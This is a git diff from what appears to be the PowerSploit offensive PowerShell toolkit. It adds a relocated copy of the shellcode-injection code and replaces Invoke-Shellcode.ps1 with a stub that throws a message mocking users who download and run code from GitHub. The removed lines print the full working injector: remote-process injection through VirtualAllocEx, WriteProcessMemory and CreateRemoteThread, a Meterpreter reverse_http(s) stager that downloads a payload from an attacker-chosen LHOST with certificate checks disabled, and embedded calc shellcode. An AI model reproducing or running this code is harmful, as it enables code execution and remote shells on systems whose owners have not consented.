[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + + Write-Verbose "Injecting shellcode into PowerShell" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode into the running PowerShell process!" ) ) + { + Inject-LocalShellcode + } + } +} diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 563d3a7..6ca6def 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -1,147 +1,12 @@ +# The actual Invoke-Shellcode has moved to Invoke--Shellcode.ps1.
+# This was done to make a point that you have no security sense
+# if you think it's okay to blindly download/exec code directly
+# from a GitHub repo you don't control. This will undoubedtly break
+# many scripts that have this path hardcoded. If you don't like it,
+# fork PowerSploit and host it yourself.
+
function Invoke-Shellcode
{
-<#
-.SYNOPSIS
-
-Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
-
-PowerSploit Function: Invoke-Shellcode
-Author: Matthew Graeber (@mattifestation)
-License: BSD 3-Clause
-Required Dependencies: None
-Optional Dependencies: None
-
-.DESCRIPTION
-
-Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
-
-PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
-
-msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
-
-Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
-
-.PARAMETER ProcessID
-
-Process ID of the process you want to inject shellcode into.
-
-.PARAMETER Shellcode
-
-Specifies an optional shellcode passed in as a byte array
-
-.PARAMETER ListMetasploitPayloads
-
-Lists all of the available Metasploit payloads that Invoke-Shellcode supports
-
-.PARAMETER Lhost
-
-Specifies the IP address of the attack machine waiting to receive the reverse shell
-
-.PARAMETER Lport
-
-Specifies the port of the attack machine waiting to receive the reverse shell
-
-.PARAMETER Payload
-
-Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
-
-.PARAMETER UserAgent
-
-Optionally specifies the user agent to use when using meterpreter http or https payloads
-
-.PARAMETER Force
-
-Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -ProcessId 4274
-
-Description
------------
-Inject shellcode into process ID 4274.
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode
-
-Description
------------
-Inject shellcode into the running instance of PowerShell.
-
-.EXAMPLE
-
-C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
-C:\PS> $Proc = Get-Process notepad
-C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
-
-VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
-VERBOSE: Injecting shellcode into PID: 4004
-VERBOSE: Injecting into a Wow64 process.
-VERBOSE: Using 32-bit shellcode.
-VERBOSE: Shellcode memory reserved at 0x03BE0000
-VERBOSE: Emitting 32-bit assembly call stub.
-VERBOSE: Thread call stub memory reserved at 0x001B0000
-VERBOSE: Shellcode injection complete!
-
-Description
------------
-Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
-
-Payload options (windows/meterpreter/reverse_https):
-
-Name Current Setting Required Description
----- --------------- -------- -----------
-EXITFUNC thread yes Exit technique: seh, thread, process, none
-LHOST 192.168.30.129 yes The local listener hostname
-LPORT 443 yes The local listener port
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
-
-Description
------------
-Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
-
-Payload options (windows/meterpreter/reverse_http):
-
-Name Current Setting Required Description
----- --------------- -------- -----------
-EXITFUNC thread yes Exit technique: seh, thread, process, none
-LHOST 192.168.30.129 yes The local listener hostname
-LPORT 80 yes The local listener port
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
-
-Description
------------
-Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
-Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -ListMetasploitPayloads
-
-Payloads
---------
-windows/meterpreter/reverse_http
-windows/meterpreter/reverse_https
-
-.NOTES
-
-Use the '-Verbose' option to print detailed information.
-
-Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
-
-Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
-
-.LINK
-
-http://www.exploit-monday.com
-#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
@@ -185,529 +50,5 @@ http://www.exploit-monday.com $Force = $False
)
- Set-StrictMode -Version 2.0
-
- # List all available Metasploit payloads and exit the function
- if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
- {
- $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
- Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
-
- foreach ($Payload in $AvailablePayloads.ValidValues)
- {
- New-Object PSObject -Property @{ Payloads = $Payload }
- }
-
- Return
- }
-
- if ( $PSBoundParameters['ProcessID'] )
- {
- # Ensure a valid process ID was provided
- # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
- Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
- }
-
- function Local:Get-DelegateType
- {
- Param
- (
- [OutputType([Type])]
-
- [Parameter( Position = 0)]
- [Type[]]
- $Parameters = (New-Object Type[](0)),
-
- [Parameter( Position = 1 )]
- [Type]
- $ReturnType = [Void]
- )
-
- $Domain = [AppDomain]::CurrentDomain
- $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
- $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
- $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
- $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
- $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
- $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
- $MethodBuilder.SetImplementationFlags('Runtime, Managed')
-
- Write-Output $TypeBuilder.CreateType()
- }
-
- function Local:Get-ProcAddress
- {
- Param
- (
- [OutputType([IntPtr])]
-
- [Parameter( Position = 0, Mandatory = $True )]
- [String]
- $Module,
-
- [Parameter( Position = 1, Mandatory = $True )]
- [String]
- $Procedure
- )
-
- # Get a reference to System.dll in the GAC
- $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
- Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
- $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
- # Get a reference to the GetModuleHandle and GetProcAddress methods
- $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
- $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
- # Get a handle to the module specified
- $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
- $tmpPtr = New-Object IntPtr
- $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
-
- # Return the address of the function
- Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
- }
-
- # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
- function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
- {
- $IntSizePtr = $Architecture / 8
-
- function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
- {
- $LittleEndianByteArray = New-Object Byte[](0)
- $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
- [System.Array]::Reverse($LittleEndianByteArray)
-
- Write-Output $LittleEndianByteArray
- }
-
- $CallStub = New-Object Byte[](0)
-
- if ($IntSizePtr -eq 8)
- {
- [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
- $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
- $CallStub += 0xFF,0xD0 # CALL RAX
- $CallStub += 0x6A,0x00 # PUSH BYTE 0
- $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
- $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
- $CallStub += 0xFF,0xD0 # CALL RAX
- }
- else
- {
- [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
- $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
- $CallStub += 0xFF,0xD0 # CALL EAX
- $CallStub += 0x6A,0x00 # PUSH BYTE 0
- $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
- $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
- $CallStub += 0xFF,0xD0 # CALL EAX
- }
-
- Write-Output $CallStub
- }
-
- function Local:Inject-RemoteShellcode ([Int] $ProcessID)
- {
- # Open a handle to the process you want to inject into
- $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
-
- if (!$hProcess)
- {
- Throw "Unable to open a process handle for PID: $ProcessID"
- }
-
- $IsWow64 = $false
-
- if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
- {
- # Determine is the process specified is 32 or 64 bit
- $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
-
- if ((!$IsWow64) -and $PowerShell32bit)
- {
- Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
- }
- elseif ($IsWow64) # 32-bit Wow64 process
- {
- if ($Shellcode32.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode32 variable!'
- }
-
- $Shellcode = $Shellcode32
- Write-Verbose 'Injecting into a Wow64 process.'
- Write-Verbose 'Using 32-bit shellcode.'
- }
- else # 64-bit process
- {
- if ($Shellcode64.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode64 variable!'
- }
-
- $Shellcode = $Shellcode64
- Write-Verbose 'Using 64-bit shellcode.'
- }
- }
- else # 32-bit CPU
- {
- if ($Shellcode32.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode32 variable!'
- }
-
- $Shellcode = $Shellcode32
- Write-Verbose 'Using 32-bit shellcode.'
- }
-
- # Reserve and commit enough memory in remote process to hold the shellcode
- $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
-
- if (!$RemoteMemAddr)
- {
- Throw "Unable to allocate shellcode memory in PID: $ProcessID"
- }
-
- Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
-
- # Copy shellcode into the previously allocated memory
- $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
-
- # Get address of ExitThread function
- $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
-
- if ($IsWow64)
- {
- # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
- $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
-
- Write-Verbose 'Emitting 32-bit assembly call stub.'
- }
- else
- {
- # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
- $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
-
- Write-Verbose 'Emitting 64-bit assembly call stub.'
- }
-
- # Allocate inline assembly stub
- $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
-
- if (!$RemoteStubAddr)
- {
- Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
- }
-
- Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
-
- # Write 32-bit assembly stub to remote process memory space
- $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
-
- # Execute shellcode as a remote thread
- $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
-
- if (!$ThreadHandle)
- {
- Throw "Unable to launch remote thread in PID: $ProcessID"
- }
-
- # Close process handle
- $CloseHandle.Invoke($hProcess) | Out-Null
-
- Write-Verbose 'Shellcode injection complete!'
- }
-
- function Local:Inject-LocalShellcode
- {
- if ($PowerShell32bit) {
- if ($Shellcode32.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode32 variable!'
- return
- }
-
- $Shellcode = $Shellcode32
- Write-Verbose 'Using 32-bit shellcode.'
- }
- else
- {
- if ($Shellcode64.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode64 variable!'
- return
- }
-
- $Shellcode = $Shellcode64
- Write-Verbose 'Using 64-bit shellcode.'
- }
-
- # Allocate RWX memory for the shellcode
- $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
- if (!$BaseAddress)
- {
- Throw "Unable to allocate shellcode memory in PID: $ProcessID"
- }
-
- Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
-
- # Copy shellcode to RWX buffer
- [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
-
- # Get address of ExitThread function
- $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
-
- if ($PowerShell32bit)
- {
- $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
-
- Write-Verbose 'Emitting 32-bit assembly call stub.'
- }
- else
- {
- $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
-
- Write-Verbose 'Emitting 64-bit assembly call stub.'
- }
-
- # Allocate RWX memory for the thread call stub
- $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
- if (!$CallStubAddress)
- {
- Throw "Unable to allocate thread call stub."
- }
-
- Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
-
- # Copy call stub to RWX buffer
- [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
-
- # Launch shellcode in it's own thread
- $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
- if (!$ThreadHandle)
- {
- Throw "Unable to launch thread."
- }
-
- # Wait for shellcode thread to terminate
- $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
-
- $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
- $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
-
- Write-Verbose 'Shellcode injection complete!'
- }
-
- # A valid pointer to IsWow64Process will be returned if CPU is 64-bit
- $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
- if ($IsWow64ProcessAddr)
- {
- $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
- $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
-
- $64bitCPU = $true
- }
- else
- {
- $64bitCPU = $false
- }
-
- if ([IntPtr]::Size -eq 4)
- {
- $PowerShell32bit = $true
- }
- else
- {
- $PowerShell32bit = $false
- }
-
- if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
- {
- if (!$PowerShell32bit) {
- # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
- # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
-
- # Pull out just the content of the this script's invocation.
- $RootInvocation = $MyInvocation.Line
-
- $Response = $True
-
- if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
- "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
-
- if ( !$Response )
- {
- # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
- Return
- }
-
- # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
- if ($MyInvocation.BoundParameters['Force'])
- {
- Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
- $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
- }
- else
- {
- Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
- $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
- }
-
- $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
- $EncodedCommand = [Convert]::ToBase64String($CommandBytes)
-
- $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
- Invoke-Expression -Command $Execute | Out-Null
-
- # Exit the script since the shellcode will be running from x86 PowerShell
- Return
- }
-
- $Response = $True
-
- if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
- "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
-
- if ( !$Response )
- {
- # User opted not to carry out download of Metasploit payload. Exit function
- Return
- }
-
- switch ($Payload)
- {
- 'windows/meterpreter/reverse_http'
- {
- $SSL = ''
- }
-
- 'windows/meterpreter/reverse_https'
- {
- $SSL = 's'
- # Accept invalid certificates
- [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
- }
- }
-
- # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
- $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
- Write-Verbose "Requesting meterpreter payload from $Request"
-
- $Uri = New-Object Uri($Request)
- $WebClient = New-Object System.Net.WebClient
- $WebClient.Headers.Add('user-agent', "$UserAgent")
-
- try
- {
- [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
- }
- catch
- {
- Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
- }
- [Byte[]] $Shellcode64 = $Shellcode32
-
- }
- elseif ($PSBoundParameters['Shellcode'])
- {
- # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
- # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
- [Byte[]] $Shellcode32 = $Shellcode
- [Byte[]] $Shellcode64 = $Shellcode32
- }
- else
- {
- # Pop a calc... or whatever shellcode you decide to place in here
- # I sincerely hope you trust that this shellcode actually pops a calc...
- # Insert your shellcode here in the for 0xXX,0xXX,...
- # 32-bit payload
- # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
- [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
- 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
- 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
- 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
- 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
- 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
- 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
- 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
- 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
- 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
- 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
- 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
- 0x61,0x6c,0x63,0x00)
-
- # 64-bit payload
- # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
- [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
- 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
- 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
- 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
- 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
- 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
- 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
- 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
- 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
- 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
- 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
- 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
- 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
- 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
- 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
- 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
- }
-
- if ( $PSBoundParameters['ProcessID'] )
- {
- # Inject shellcode into the specified process ID
- $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
- $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
- $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
- $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
- $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
- $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
- $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
- $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
- $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
- $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
- $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
- $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
- $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
- $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
- $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
-
- Write-Verbose "Injecting shellcode into PID: $ProcessId"
-
- if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
- "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
- {
- Inject-RemoteShellcode $ProcessId
- }
- }
- else
- {
- # Inject shellcode into the currently running PowerShell process
- $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
- $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
- $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
- $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
- $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
- $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
- $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
- $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
- $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
- $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
- $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
- $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
-
- Write-Verbose "Injecting shellcode into PowerShell"
-
- if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
- "Injecting shellcode into the running PowerShell process!" ) )
- {
- Inject-LocalShellcode
- }
- }
-
+throw 'Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.'
}
